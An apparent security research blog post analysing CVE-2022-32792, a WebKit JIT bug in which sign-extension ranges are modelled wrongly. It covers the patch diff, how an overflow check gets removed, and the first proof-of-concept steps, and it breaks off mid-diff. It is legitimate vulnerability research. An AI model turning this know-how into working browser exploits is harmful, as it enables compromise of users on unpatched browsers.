Step-by-Step Walkthrough of CVE-2022-32792 - WebKit B3ReduceStrength Out-of-Bounds Write

September 8, 2022 · 46 min · Daniel Lim Wee Soong (@daniellimws) & Đỗ Minh Tuấn (@tuanit96)

Table of Contents

Recently, ZDI released the advisory for a Safari out-of-bounds write vulnerability exploited by Manfred Paul (@_manfp) in Pwn2Own. We decided to take a look at the patch and try to exploit it.

The patch is rather simple: it creates a new function (`IntRange::sExt`) that is used to decide the integer range after applying a sign extension operation (in `rangeFor`). Before this patch, the program assumes that the range stays the same after applying sign extension. This is incorrect and can result in wrongly removing an overflow/underflow check.

This patch commit can be seen below:

```
From 6983e76741a1bad811783ceac0959ff9953c175d Mon Sep 17 00:00:00 2001
From: Mark Lam <mark.lam@apple.com>
Date: Fri, 20 May 2022 18:33:04 +0000
Subject: [PATCH] Refine B3ReduceStrength's range for sign extension
 operations. https://bugs.webkit.org/show_bug.cgi?id=240720
 <rdar://problem/93536782>

Reviewed by Yusuke Suzuki and Keith Miller.

* Source/JavaScriptCore/b3/B3ReduceStrength.cpp:

Canonical link: https://commits.webkit.org/250808@main
git-svn-id: https://svn.webkit.org/repository/webkit/trunk@294563 268f45cc-cd09-0410-a
---
 Source/JavaScriptCore/b3/B3ReduceStrength.cpp | 61 ++++++++++++++++++-
 1 file changed, 59 insertions(+), 2 deletions(-)

diff --git a/Source/JavaScriptCore/b3/B3ReduceStrength.cpp b/Source/JavaScriptCore/b3/
```

```
index f30a68587876..32bcf3d81415 100644
--- a/Source/JavaScriptCore/b3/B3ReduceStrength.cpp
+++ b/Source/JavaScriptCore/b3/B3ReduceStrength.cpp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2015-2020 Apple Inc. All rights reserved.
+ * Copyright (C) 2015-2022 Apple Inc. All rights reserved.
  *
  * Redistribution and use in source and binary forms, with or without
  * modification, are permitted provided that the following conditions
@@ -388,6 +388,61 @@ class IntRange {
         }
     }

+    template<typename T>
+    IntRange sExt()
+    {
+        ASSERT(m_min >= INT32_MIN);
+        ASSERT(m_max <= INT32_MAX);
+        int64_t typeMin = std::numeric_limits<T>::min();
+        int64_t typeMax = std::numeric_limits<T>::max();
+        auto min = m_min;
+        auto max = m_max;
+
+        if (typeMin <= min && min <= typeMax
+            && typeMin <= max && max <= typeMax)
+            return IntRange(min, max);
+
+        // Given type T with N bits, signed extension will turn bit N-1 as
+        // a sign bit. If bits N-1 upwards are identical for both min and max,
+        // then we're guaranteed that even after the sign extension, min and
+        // max will still be in increasing order.
+        //
+        // For example, when T is int8_t, the space of numbers from highest to
+        // lowest are as follows (in binary bits):
+        //
+        //      highest     0 111 1111  ^
+        //                    ...       |
+        //            1     0 000 0001  |   top segment
+        //            0     0 000 0000  v
+        //
+        //           -1     1 111 1111  ^
+        //           -2     1 111 1110  |   bottom segment
+        //                    ...       |
+        //       lowest     1 000 0000  v
+        //
+        // Note that if we exclude the sign bit, the range is made up of 2 segments
+        // of contiguous increasing numbers. If min and max are both in the same
+        // segment before the sign extension, then min and max will continue to be
```

```
+        // in a contiguous segment after the sign extension. Only when min and max
+        // spans across more than 1 of these segments, will min and max no longer
+        // be guaranteed to be in a contiguous range after the sign extension.
+        //
+        // Hence, we can check if bits N-1 and up are identical for the range min
+        // and max. If so, then the new min and max can be be computed by simply
+        // applying sign extension to their original values.
+
+        constexpr unsigned numberOfBits = countOfBits<T>;
+        constexpr int64_t segmentMask = (1ll << (numberOfBits - 1)) - 1;
+        constexpr int64_t topBitsMask = ~segmentMask;
+        int64_t minTopBits = topBitsMask & min;
+        int64_t maxTopBits = topBitsMask & max;
+
+        if (minTopBits == maxTopBits)
+            return IntRange(static_cast<int64_t>(static_cast<T>(min)), static_cast<in
+
+        return top<T>();
+    }
+
     IntRange zExt32()
     {
         ASSERT(m_min >= INT32_MIN);
@@ -2765,9 +2820,11 @@ class ReduceStrength {
                 rangeFor(value->child(1), timeToLive - 1), value->type());

         case SExt8:
+            return rangeFor(value->child(0), timeToLive - 1).sExt<int8_t>();
         case SExt16:
+            return rangeFor(value->child(0), timeToLive - 1).sExt<int16_t>();
         case SExt32:
-            return rangeFor(value->child(0), timeToLive - 1);
+            return rangeFor(value->child(0), timeToLive - 1).sExt<int32_t>();

         case ZExt32:
             return rangeFor(value->child(0), timeToLive - 1).zExt32();
```

Background

Before diving into the bug, we shall describe the relevant terminologies, concepts and code involved.

Just-in-time (JIT) Compilation in JavaScriptCore (JSC)

The JavaScriptCore (JSC) has 4 tiers of execution:

- Interpreter (no JIT)
- BaseLine JIT (very simple, just 1-1 mapping of some bytecodes to assembly)
- DFG JIT (dataflow graph)
- FTL JIT (faster than light)

There are multiple IRs used by the JIT, listed below from higher-level to lower-lev

- DFG IR (as the name suggests, used by the DFG JIT)
- DFG SSA IR (DFG converted to SSA form to allow more textbook optimizations, used in FTL)
- B3 (called BareBones Backend, even lower than DFG, dropping away all JS semantics to allow for more optimizations, used in FTL)
- Air (Assembly IR, very very close to assembly, used in FTL)

This patch is applied on one of the B3 optimization phases in the FTL pipeline, namely the **"Reduce Strength"** phase.

Let's stop here for a moment. If you are interested in how the DFG and FTL JITs work in detail, you can read this article "Speculation in JavaScriptCore" by Filip Pizlo on the WebKit blog. If you are a slow reader like me, you'll probably take 4-5 days to finish reading it.

As this bug occurs in B3, you may want to learn more about it:

- https://webkit.org/docs/b3/
- Introducing the B3 JIT Compiler

Strength Reduction

Copying straight from Wikipedia:

In compiler construction, strength reduction is a compiler optimization where expensive operations are replaced with equivalent but less expensive operations. The classic example of strength reduction converts "strong" multiplications inside a loop into "weaker" additions – something that frequently occurs in array addressing. (Cooper, Simpson & Vick 1995, p. 1)

Examples of strength reduction include:

- replacing a multiplication within a loop with an addition
- replacing an exponentiation within a loop with a multiplication

There are many strength reduction optimizations done in `b3/B3ReduceStrength.cpp` , with almost 3k lines of code of them. For example:

```
        // Turn this: Add(value, zero)
        // Into an Identity.
        //
        // Addition is subtle with doubles. Zero is not the neutral value, negati
        //    0 + 0 = 0
        //    0 + -0 = 0
        //    -0 + 0 = 0
        //    -0 + -0 = -0
        if (m_value->child(1)->isInt(0) || m_value->child(1)->isNegativeZero()) {
            replaceWithIdentity(m_value->child(0));
            break;
        }
```

A more complex example:

```
    case Sub:
        // Turn this: Sub(BitXor(BitAnd(value, mask1), mask2), mask2)
        // Into this: SShr(Shl(value, amount), amount)
        // Conditions:
        // 1. mask1 = (1 << width) - 1
        // 2. mask2 = 1 << (width - 1)
        // 3. amount = datasize - width
        // 4. 0 < width < datasize
        if (m_value->child(0)->opcode() == BitXor
            && m_value->child(0)->child(0)->opcode() == BitAnd
            && m_value->child(0)->child(0)->child(1)->hasInt()
            && m_value->child(0)->child(1)->hasInt()
            && m_value->child(1)->hasInt()) {
            uint64_t mask1 = m_value->child(0)->child(0)->child(1)->asInt();
            uint64_t mask2 = m_value->child(0)->child(1)->asInt();
            uint64_t mask3 = m_value->child(1)->asInt();
            uint64_t width = WTF::bitCount(mask1);
            uint64_t datasize = m_value->child(0)->child(0)->type() == Int64 ? 64
            bool isValidMask1 = mask1 && !(mask1 & (mask1 + 1)) && width < datasi
            bool isValidMask2 = mask2 == mask3 && ((mask2 << 1) - 1) == mask1;
            if (isValidMask1 && isValidMask2) {
                Value* amount = m_insertionSet.insert<Const32Value>(m_index, a
                Value* shlValue = m_insertionSet.insert<Value>(m_index, Shl, m_va
                replaceWithNew<Value>(SShr, m_value->origin(), shlValue, amount);
                break;
```

```
        }
    }
```

Anyway, everything here is not very complicated. The goal is to reduce arithmetic operations into using less operations.

SExt

`SExt` is used in the code as the short form of sign extension. There are 3 variants of `SExt` in this program: `SExt8` , `SExt16` , `SExt32` . They all perform sign extension on a value to 64 bits. The number behind is the bit width of the original value.

For example, `SExt8` will extend `0xfa` to `0xfffffffffffffffa` , `SExt16` will extend `0xf7b2` to `0xfffffffffffff7b2` , and the same idea applies for `SExt32` .

Code Understanding

Now, it's time to take a look at the code involved in the patch.

`rangeFor`

```
IntRange rangeFor(Value* value, unsigned timeToLive = 5)
{
    if (!timeToLive)
        return IntRange::top(value->type());

    switch (value->opcode()) {
    case Const32:
    case Const64: {
        int64_t intValue = value->asInt();
        return IntRange(intValue, intValue);
    }
    case BitAnd:
        if (value->child(1)->hasInt())
            return IntRange::rangeForMask(value->child(1)->asInt(), value->type(
        break;

            ...
```

```
        case Add:
            return rangeFor(value->child(0), timeToLive - 1).add(
                rangeFor(value->child(1), timeToLive - 1), value->type());

              ...

        case SExt8:
+           return rangeFor(value->child(0), timeToLive - 1).sExt<int8_t>();
        case SExt16:
+           return rangeFor(value->child(0), timeToLive - 1).sExt<int16_t>();
        case SExt32:
-           return rangeFor(value->child(0), timeToLive - 1);
+           return rangeFor(value->child(0), timeToLive - 1).sExt<int32_t>();
        }
```

`rangeFor` returns an `IntRange`. It behaves kind of like a constructor, creating an `IntRange` object from a `Value`. Other than `rangeFor`, there are 2 other static functions of the `IntRange` class:

- `rangeForMask` - called when `value->opcode() == BitAnd`
- `rangeForZShr` - called when `value->opcode() == ZShr`

A `Value` contains the following fields, taking the operation `a = b + c` for example.

- `opcode` - The DFG opcode that was used to generate this value. In the example above, `a` has `Add` as its `opcode`.
- `child` - The other `Value` (s) used to generate this value. `a` has 2 children, `b` and `c`.
- `type` - In the case of `IntRange`, only for indicating if the value is `Int32` or `Int64`.

Besides a `Value`, `rangeFor` takes an optional argument `timeToLive`.

```
IntRange rangeFor(Value* value, unsigned timeToLive = 5)
```

Recursion

This is the depth of recursively applying `rangeFor` on the children of the given `Value`. For all opcodes other than `Const32`, `Const64` and `BitAnd`, `rangeFor` will call itself recursively, e.g.

```
    case Add:
        return rangeFor(value->child(0), timeToLive - 1).add(
            rangeFor(value->child(1), timeToLive - 1), value->type());
    case Sub:
        return rangeFor(value->child(0), timeToLive - 1).sub(
            rangeFor(value->child(1), timeToLive - 1), value->type());
    case Mul:
        return rangeFor(value->child(0), timeToLive - 1).mul(
            rangeFor(value->child(1), timeToLive - 1), value->type());
```

It stops when `timeToLive` is 0:

```
    if (!timeToLive)
        return IntRange::top(value->type());
```

`top` returns the full integer range based on the bit width of the `Value`. This full range is called `top` as usually done in abstract interpretation.

```
template<typename T>
static IntRange top()
{
    return IntRange(std::numeric_limits<T>::min(), std::numeric_limits<T>::max())
}

static IntRange top(Type type)
{
    switch (type.kind()) {
    case Int32:
        return top<int32_t>();
    case Int64:
        return top<int64_t>();
    default:
        RELEASE_ASSERT_NOT_REACHED();
        return IntRange();
    }
}
```

Here we see that after "evaluating" the range for 5 levels deep, the function gives up and just returns the full integer range.

Or, if it sees an unsupported opcode in the switch-case block, it will return `top` too.

```
        default:
            break;
        }

        return IntRange::top(value->type());
```

This is possible in the case where a `Phi` `Value` is present. For example:

```
let a = 10;
if (...) {
        a = 20;
}
let b = a * 2;
```

In this case, `b` will have `Mul` as its opcode, and 2 children,

1. `Phi(Const32(10), Const32(20))`
2. `Const32(2)`

The 1st child will be given `top` as the range, although we know it is `[10, 20]`. This is somewhat important because it came up as we were writing the exploit. But quite a small issue anyway.

Base Cases

Like every recursive function, there must be some base cases. There are 2 here.

First, if the `Value` is a constant. (e.g. seen when `a = 0x1337` or `a = b + 0x1337`)

```
        case Const32:
        case Const64: {
            int64_t intValue = value->asInt();
            return IntRange(intValue, intValue);
        }
```

Second, when the `Value` has a `BitAnd` opcode. (e.g. `a = b & 0xfb`)

```
        case BitAnd:
            if (value->child(1)->hasInt())
                return IntRange::rangeForMask(value->child(1)->asInt(), value->type()
            break;
```

```
template<typename T>
static IntRange rangeForMask(T mask)
{
    if (!(mask + 1))
        return top<T>();
    if (mask < 0)
        return IntRange(INT_MIN & mask, mask & INT_MAX);
    return IntRange(0, mask);
}

static IntRange rangeForMask(int64_t mask, Type type)
{
    switch (type.kind()) {
    case Int32:
        return rangeForMask<int32_t>(static_cast<int32_t>(mask));
    case Int64:
        return rangeForMask<int64_t>(mask);
    default:
        RELEASE_ASSERT_NOT_REACHED();
        return IntRange();
    }
}
```

In short, the code above for `BitAnd` takes its 2nd operand, and applies it as a mask over the min and max values of an `IntRange`. Taking `a = b & 0x2ffff` for example. If `b` is in the range `[0x1337, 0x31337]`. After applying the `&` operation, the new range is `[0x1337, 0x21337]`, as a mask of `0x2ffff` is applied over the 2 values `0x1337` and `0x31337`.

Later, I'll show how these 2 base cases are very important for crafting the necessary conditions for triggering the OOB write.

To summarize, `rangeFor` calls itself recursively. There are only 2 base cases:

1. `Const32` or `Const64` - Returns an `IntRange` with `min` and `max` holding the same value
2. `BitAnd` - Returns an `IntRange` after calling `IntRange::rangeForMask`
3. If an unsupported opcode is given, it returns `top` (code not shown above)

Recursion path of `SExt`

Now it's time to look at the most relevant opcode. Here's what `rangeFor` for a `SExt` instruction will converge to.

```
IntRange rangeFor(Value* value, unsigned timeToLive = 5)
{
    if (!timeToLive)
        return IntRange::top(value->type());

    switch (value->opcode()) {
    ...
    // this is the code before the patch (so it doesn't call IntRange::sExt)
            case SExt8:
    case SExt16:
    case SExt32:
        return rangeFor(value->child(0), timeToLive - 1);
    ...
            default:
        break;
    }

    return IntRange::top(value->type());
    }
```

Suppose we have this longer expression, `SExt16(Add(Const32(0x1), BitAnd(..., 0xfff)))`, it will evaluate through the following steps (assuming we are using 64 bits)

1. `SExt16(Add(a, b))`, where `a` and `b` are a. `IntRange(1, 1)` - Simple. Just a constant value `1`. b. `IntRange(0, 0xfff)` - If we take any value `& 0xfff`, it must fall within the range of `[0, 0xfff]`.
2. `SExt16(IntRange(1, 0x1000))` - `Add(a, b)` results in a range of `[1, 0x1000]`
3. `IntRange(1, 0x1000)` - sign extending both 16-bit values will result in the same values

Here, it looks like `SExt` doesn't do much. Indeed, like in usual x86 asssembly, it also doesn't do much. It only has an effect when the MSB is on. That's the only thing it is meant to do anyway.

As such, it might look reasonable for `rangeFor` to return the child without needing to perform any computations on it when the opcode is `SExt`. However, later we shall see that is not necessarily correct. Recall that the patch is as follows:

```
        case SExt8:
+            return rangeFor(value->child(0), timeToLive - 1).sExt<int8_t>();
        case SExt16:
```

```
+             return rangeFor(value->child(0), timeToLive - 1).sExt<int16_t>();
         case SExt32:
-             return rangeFor(value->child(0), timeToLive - 1);
+             return rangeFor(value->child(0), timeToLive - 1).sExt<int32_t>();
```

If you're interested to figure out the bug on your own, the new function `IntRange::sExt` came along with a quite elaborate description of the problem.

To give a clearer idea of the code that b3 emits, here's an example of some b3 code generated for my POC:

```
b3      Int32 b@319 = BitAnd(b@12, $1(b@1), D@291)
b3      Int32 b@330 = Add(b@319, $32767(b@727), D@295)
b3      Int32 b@738 = SExt16(b@330, D@302)
b3      Int32 b@743 = Add(b@738, $-32766(b@742), D@306)
```

What happens to an `IntRange` ?

`rangeFor` is used by the following B3 opcodes:

- `checkAdd`
- `checkSub`
- `checkMul`

These 3 mostly do the same thing, so we'll just focus on 1 of them. This is what `checkAdd` does:

```
// in b3/B3ReduceStrength.cpp
        case CheckAdd: {
            if (replaceWithNewValue(m_value->child(0)->checkAddConstant(m_proc, m_valu
                break;

            handleCommutativity();

            if (m_value->child(1)->isInt(0)) {
                replaceWithIdentity(m_value->child(0));
                break;
            }

            IntRange leftRange = rangeFor(m_value->child(0));
            IntRange rightRange = rangeFor(m_value->child(1));
            dataLogLn("CheckAdd overflow check: ", leftRange, " + ", rightRange);
            if (!leftRange.couldOverflowAdd(rightRange, m_value->type())) {        //
```

```
                dataLogLn("CheckAdd reduced");
                replaceWithNewValue(                                                          //
                    m_proc.add<Value>(Add, m_value->origin(), m_value->child(0), m_va
                break;
            } else {
                dataLogLn("CheckAdd not reduced");
            }
            break;
        }
```

```
// in b3/B3ReduceStrength.cpp
    template<typename T>
    bool couldOverflowAdd(const IntRange& other)
    {
        return sumOverflows<T>(m_min, other.m_min)
            || sumOverflows<T>(m_min, other.m_max)
            || sumOverflows<T>(m_max, other.m_min)
            || sumOverflows<T>(m_max, other.m_max);
    }

    bool couldOverflowAdd(const IntRange& other, Type type)
    {
        switch (type.kind()) {
        case Int32:
            return couldOverflowAdd<int32_t>(other);
        case Int64:
            return couldOverflowAdd<int64_t>(other);
        default:
            return true;
        }
    }

// in WTF/wtf
template<typename T, typename... Args> bool sumOverflows(Args... args)
{
    return checkedSum<T>(args...).hasOverflowed();
}
```

It seems that what happens here is, as seen in the usage of `replaceWithNewValue` (`[1]`), the `CheckAdd` is replaced with an `Add` (the `Check` is gone). The difference between `CheckAdd` and `Add` is the presence of an overflow check after performing the addition (`CheckAdd` will check, `Add` will not). This replacement is allowed when `couldOverflowAdd` returns `false` (`[2]`). This is the commonly seen pattern o wrong assumptions about the value's range, as seen in existing JIT bugs.

The `IntRange` is just used for checks/operations like `couldOverflowAdd`, and discarded later. It's not part of the generated IR code or any further optimization phases.

The handling of `CheckSub` and `CheckMul` follows a similar pattern.

Where does an `IntRange` come from?

We wondered if `IntRange` is only used in `B3ReduceStrength`. If so, it is easier to audit since there is less space to look at. A `Ctrl+Shift+F` suggests that this is true. The only place that `IntRange` is created is in `rangeFor`, which we have already looked into earlier.

Also, some interesting comments:

```
// FIXME: This IntRange stuff should be refactored into a general constant propagator
// that it's just sitting here in this file.
class IntRange {
public:
    IntRange()
    {
    }
private:
    int64_t m_min { 0 };
    int64_t m_max { 0 };
};
}
```

The comment above suggests that this `IntRange` thing is just a constant propagator.

Patch Analysis

`sExt`

The patch adds this `sExt` method that is used when `rangeFor` is called with a `SExt` instruction.

```
    template<typename T>
    IntRange sExt()
    {
```

```
ASSERT(m_min >= INT32_MIN);
ASSERT(m_max <= INT32_MAX);
int64_t typeMin = std::numeric_limits<T>::min();
int64_t typeMax = std::numeric_limits<T>::max();
auto min = m_min;
auto max = m_max;

if (typeMin <= min && min <= typeMax
    && typeMin <= max && max <= typeMax)
    return IntRange(min, max);

// Given type T with N bits, signed extension will turn bit N-1 as
// a sign bit. If bits N-1 upwards are identical for both min and max,
// then we're guaranteed that even after the sign extension, min and
// max will still be in increasing order.
//
// For example, when T is int8_t, the space of numbers from highest to
// lowest are as follows (in binary bits):
//
//      highest     0 111 1111  ^
//                    ...       |
//            1     0 000 0001  |   top segment
//            0     0 000 0000  v
//
//           -1     1 111 1111  ^
//           -2     1 111 1110  |   bottom segment
//                    ...       |
//       lowest     1 000 0000  v
//
// Note that if we exclude the sign bit, the range is made up of 2 segments
// of contiguous increasing numbers. If min and max are both in the same
// segment before the sign extension, then min and max will continue to be
// in a contiguous segment after the sign extension. Only when min and max
// spans across more than 1 of these segments, will min and max no longer
// be guaranteed to be in a contiguous range after the sign extension.
//
// Hence, we can check if bits N-1 and up are identical for the range min
// and max. If so, then the new min and max can be be computed by simply
// applying sign extension to their original values.

constexpr unsigned numberOfBits = countOfBits<T>;
constexpr int64_t segmentMask = (1ll << (numberOfBits - 1)) - 1;
constexpr int64_t topBitsMask = ~segmentMask;
int64_t minTopBits = topBitsMask & min;
int64_t maxTopBits = topBitsMask & max;

if (minTopBits == maxTopBits)
    return IntRange(static_cast<int64_t>(static_cast<T>(min)), static_cast<int
```

```
        return top<T>();
    }
```

```
@@ -2765,9 +2820,11 @@ class ReduceStrength {
                 rangeFor(value->child(1), timeToLive - 1), value->type());

         case SExt8:
+            return rangeFor(value->child(0), timeToLive - 1).sExt<int8_t>();
         case SExt16:
+            return rangeFor(value->child(0), timeToLive - 1).sExt<int16_t>();
         case SExt32:
-            return rangeFor(value->child(0), timeToLive - 1);
+            return rangeFor(value->child(0), timeToLive - 1).sExt<int32_t>();
```

According to the long comment, the problem was that it is possible to make the `IntRange` not a contiguous range, which is problematic. The idea of having a not contiguous range may sound weird, a simple example is the range `[10, 1]`. If we can get `rangeFor` to return this kind range, obviously this is quite sketchy right.

Before this patch, `rangeFor` is effectively a no-op on `SExt` instructions, or in other words an identity op on the child `Value`. This might provide false information for `CheckAdd` / `CheckSub` / `CheckMul`, where the `Check` is supposed to be kept but is dropped instead in the end. In particular, since these 3 operations **only** check for overflow, the bug should be related to an overflow.

For this new method `IntRange::sExt`, it

1. Does not do anything - when the `min` and `max` of `this`'s range are within the target type's (target can be either 32-bit or 64-bit) min and max range.

- If you're wondering when will `this`'s range fall outside the target type's range. The target range can be the min and max of 32-bit integers, while `min` and `max` of `this`'s range are 64-bit values.

2. Applies sign extension to the min and max values - when the `min` and `max` of `this`'s range have the same top bits.
3. Returns `top` - when the top bits are different.

- If this sounds weird to you, don't worry too much about it. We felt the same way. This is what causes the bug and we will describe it below.

Additionally, all these values are stored as a 64-bit integer internally.

Scenarios 1 and 2 listed above look quite normal. The attention given to scenario 3 by the developer suggests that **the bug occurs when the `min` and `max` have different top bits**.

```
        // Given type T with N bits, signed extension will turn bit N-1 as
        // a sign bit. If bits N-1 upwards are identical for both min and max,
        // then we're guaranteed that even after the sign extension, min and
        // max will still be in increasing order.
```

Maybe the problem is that `min` and `max` will become not in increasing order (i.e. `min > max`). How? We also ask ourselves this question. It keeps saying `topBits` (plural), shouldn't the sign bit be just 1 bit???????

Unless say, an `IntRange` with 16-bit values is passed to say `SExt8` ?

According to `IntRange::sExt` , the sign extension on a value is performed by applying `static_cast<T>` then `static_cast<int64_t>` on it, where `T` is `int8_t` or `int16_t` for `SExt8` and `SExt16` respectively. So we wrote some sample C code to test the behaviour.

```
#include <iostream>
#include <climits>
using namespace std;

template<typename T>
void print(int64_t min, int64_t max)
{
        printf("%lx %lx\n",
                static_cast<int64_t>(static_cast<T>(min)),
                static_cast<int64_t>(static_cast<T>(max))
        );
}

int main() {
        // your code goes here
        print<int8_t>(0x110, 0x180);

        return 0;
}
```

```
output:
10 ffffffffffffff80
```

Looks like this is the plan.

Proof-Of-Concept

Time to write some code to test out the idea above.

Idea 1

Try `SExt8(IntRange(0x7f, 0x80))` . Before the patch, here are the expected and actual result ranges (stored as 32-bit values):

- Expected (as modelled wrongly before the patch): `[0x7f, 0x80]` , or in decimal `[127, 128]`
- Reality (as modelled correctly after the patch): `[0x7f, 0xffffff80]` , or in decimal `[127, -128]`

At this point, the range is already modelled wrongly. In actual execution, the range is not supposed to be `[127, 128]` . Actually, the other range `[127, -128]` doesn't make sense too. It probably should be written as `[-128, 127]` instead. But I'll keep it as `[127, -128]` for now, to highlight the problem.

If we `Add` a large negative constant `0x80000000` , represented as the range `[0x80000000, 0x80000000]` , the resulting range will become:

- Expected: `[8000007f, 80000080]` , or in decimal `[-2147483521, -2147483520]`
- Reality: `[8000007f, 7fffff80]` , or in decimal `[-2147483521, 2147483520]`

Experiment on ideone.

```
#include <iostream>
using namespace std;

int main() {
	int a = 0x80000000;
	int b = a + 0x7f;
	int c = a + 0x80;
	int d = 0xffffff80;
```

```
        int e = a + d;
        printf("%x\t%d\n%x\t%d\n%x\t%d\n%x\t%d\n%x\t%d\n",
                a,a,
                b,b,
                c,c,
                d,d,
                e,e);
        return 0;
}
```

```
80000000        -2147483648
8000007f        -2147483521
80000080        -2147483520
ffffff80        -128
7fffff80        2147483520        (80000000+7fffff80)
```

Recall these are the conditions to consider an operation to have overflowed:

- positive + positive = negative
- negative + negative = positive

And there is never a chance for overflow when:

- positive + negative
- negative + positive

As we see here, in the expected case (wrong model, before the patch), both positive values are added with a negative constant, so the optimization phase thinks that no optimization occurs, **and removes the overflow check by turning `CheckAdd` into `Add`**. But in reality (correct model, after the patch), the `max` is a negative value, which when added with a negative big constant, an overflow (to be precise, underflow) can occur.

Here's a concrete example. Following the example above, we have an input value that is expected to fall within the range `[0x7f, 0x80]`, we first apply a `SExt16` to it, then `Add` a constant `0x80000000` to the result. Suppose our input is `0x80`, we will compute `Add(SExt16(0x80), 0x80000000)`.

1. `SExt16(0x80) = 0xffffff80`
2. `Add(0xffffffff80, 0x80000000) = 0x7fffff80` (underflowed)

Now, time to create the JS code that performs the operations mentioned above, with `rangeFor` expecting these ranges. The constant is straightforward to make. But how to let `rangeFor` expect `[0x7f, 0x80]` ?

1. Can make `[0, 1]` with `BitAnd(x, 1)` , as it calls `IntRange::rangeForMask` , with `0x1` as the mask. Naturally the `min` is `0` and `max` is `1` .
2. Then add the result of (1) with a `Const32(0x7f)` .
3. Lastly apply `SExt8` / `SExt16` to it.

What generates `SExt` ?

We just did a `Ctrl+Shift+F` to search for all occurences of `SExt8` / `SExt16` in the codebase.

In `b3/B3Opcode.h` , there's this:

```
inline Opcode signExtendOpcode(Width width)
{
    switch (width) {
    case Width8:
        return SExt8;
    case Width16:
        return SExt16;
    default:
        RELEASE_ASSERT_NOT_REACHED();
        return Oops;
    }
}
```

However, `signExtendOpcode` is only used in `b3/B3LowerMacros.cpp` for `Atomic` -related instructions. Don't think this is what we want to look at first.

Another place `SExt8` is generated (in `b3/B3EliminateCommonSubexpressions.cpp`):

```
        case Load8S: {
            handleMemoryValue(
                ptr, range,
                [&] (MemoryValue* candidate) -> bool {
                    return candidate->offset() == offset
                        && (candidate->opcode() == Load8S || candidate->opcode()
                },
                [&] (MemoryValue* match, Vector<Value*>& fixups) -> Value* {
                    if (match->opcode() == Store8) {
```

```
                Value* sext = m_proc.add<Value>(
                    SExt8, m_value->origin(), match->child(0));
                fixups.append(sext);
                return sext;
            }
            return nullptr;
        });
    break;
}
```

Looks kinda complex 😓. Skipping this for now.

And in `b3/B3ReduceStrength.cpp` itself, we found this. Some strength-reducing optimizations for the `SShr` (arithmetic right shift) instruction.

```
case SShr:
    // Turn this: SShr(constant1, constant2)
    // Into this: constant1 >> constant2
    if (Value* constant = m_value->child(0)->sShrConstant(m_proc, m_value->ch
        replaceWithNewValue(constant);
        break;
    }

    if (m_value->child(1)->hasInt32()
        && m_value->child(0)->opcode() == Shl
        && m_value->child(0)->child(1)->hasInt32()
        && m_value->child(1)->asInt32() == m_value->child(0)->child(1)->asInt
        switch (m_value->child(1)->asInt32()) {
        case 16:
            if (m_value->type() == Int32) {
                // Turn this: SShr(Shl(value, 16), 16)
                // Into this: SExt16(value)
                replaceWithNewValue(
                    m_proc.add<Value>(
                        SExt16, m_value->origin(), m_value->child(0)->child(0
            }
            break;

        case 24:
            if (m_value->type() == Int32) {
                // Turn this: SShr(Shl(value, 24), 24)
                // Into this: SExt8(value)
                replaceWithNewValue(
                    m_proc.add<Value>(
                        SExt8, m_value->origin(), m_value->child(0)->child(0)
            }
            break;
```

```
        case 32:
            if (m_value->type() == Int64) {
                // Turn this: SShr(Shl(value, 32), 32)
                // Into this: SExt32(Trunc(value))
                replaceWithNewValue(
                    m_proc.add<Value>(
                        SExt32, m_value->origin(),
                        m_insertionSet.insert<Value>(
                            m_index, Trunc, m_value->origin(),
                            m_value->child(0)->child(0))));
            }
            break;

        // FIXME: Add cases for 48 and 56, but that would translate to SExt32(
        // SExt32(SExt16), which we don't currently lower efficiently.

        default:
            break;
        }
```

In particular,

```
        case 16:
            if (m_value->type() == Int32) {
                // Turn this: SShr(Shl(value, 16), 16)
                // Into this: SExt16(value)
                replaceWithNewValue(
                    m_proc.add<Value>(
                        SExt16, m_value->origin(), m_value->child(0)->child(0
            }
            break;
```

So, to create a `SExt16` instruction, we can do a `SShr(Shl(value, 16), 16)` as the comment suggests. So, in JS it would be something like `(a << 16) >> 16`. Quite simple.

What generates `CheckAdd` / `SShr` ?

For the last piece of the puzzle, we need to make the `CheckAdd` and `SShr` instructions. Making an educational guess, it would probably be just a normal addition/right shift operation in JS.

Anyway, searching for references to `B3::CheckAdd` in the codebase, `CheckAdd` is generated by `speculateAdd` in `flt/FTLOutput.cpp`.

```
CheckValue* Output::speculateAdd(LValue left, LValue right)
{
    return m_block->appendNew<B3::CheckValue>(m_proc, B3::CheckAdd, origin(), left, r:
}
```

In `ftl/FTLLowerDFGToB3.cpp`, there are 7 sites that call `speculateAdd`. But it can be narrowed down to just 2 whose children are user-controlled.

- `compileArithAddOrSub`
- `compileGetMyArgumentByVal`

`FTLLowerDFGToB3` as the name suggests, lowers DFG SSA IR to B3 IR, progressing the JIT into the next part of the optimization pipeline. This source file is filled with `compileXXX` functions that compiles DFG nodes into B3 instructions. As mentioned earlier in the background section, at this point, most (or maybe all) JS semantics are dropped.

`compileArithAddOrSub` operates on the `ArithAdd` or `ArithSub` DFG nodes. Based on my prior experience with DFG, we knew that this is generated by a normal `+` or `-` operation in JS. On the other hand `compileGetMyArgumentByVal` has to do with accessing a function's arguments through the `arguments` object.

The former is way simpler so we just focused on that. We can create an expression like `a = b + c` in JS and see if B3 emits a `CheckAdd` instruction for it.

And for the shifts, they are generated in `ftl/FTLOutput.cpp` as well:

```
LValue Output::shl(LValue left, LValue right)
{
    right = castToInt32(right);
    if (Value* result = left->shlConstant(m_proc, right)) {
        m_block->append(result);
        return result;
    }
    return m_block->appendNew<B3::Value>(m_proc, B3::Shl, origin(), left, right
}

LValue Output::aShr(LValue left, LValue right)
```

```
{
    right = castToInt32(right);
    if (Value* result = left->sShrConstant(m_proc, right)) {
        m_block->append(result);
        return result;
    }
    return m_block->appendNew<B3::Value>(m_proc, B3::SShr, origin(), left, right);
}
```

Similarly, I can create an expression like `a = b << c` or `a = b >> c` to see if B3 emits a `Shl` / `SShr` instruction for them.

Putting everything together

We added a few `dataLogLn` statements to see the internal state of the optimization phase:

```
Index: Source/JavaScriptCore/b3/B3ReduceStrength.cpp
===================================================================
--- Source/JavaScriptCore/b3/B3ReduceStrength.cpp	(revision 295779)
+++ Source/JavaScriptCore/b3/B3ReduceStrength.cpp	(working copy)
@@ -422,8 +422,11 @@
             m_changedCFG = false;
             ++index;

-            if (first)
+            if (first) {
                 first = false;
+                dataLogLn("B3ReduceStrength start");
+                // dataLogLn(m_proc);
+            }
             else if (B3ReduceStrengthInternal::verbose) {
                 dataLog("B3 after iteration #", index - 1, " of reduceStrength:\n");
                 dataLog(m_proc);
@@ -2121,10 +2124,14 @@

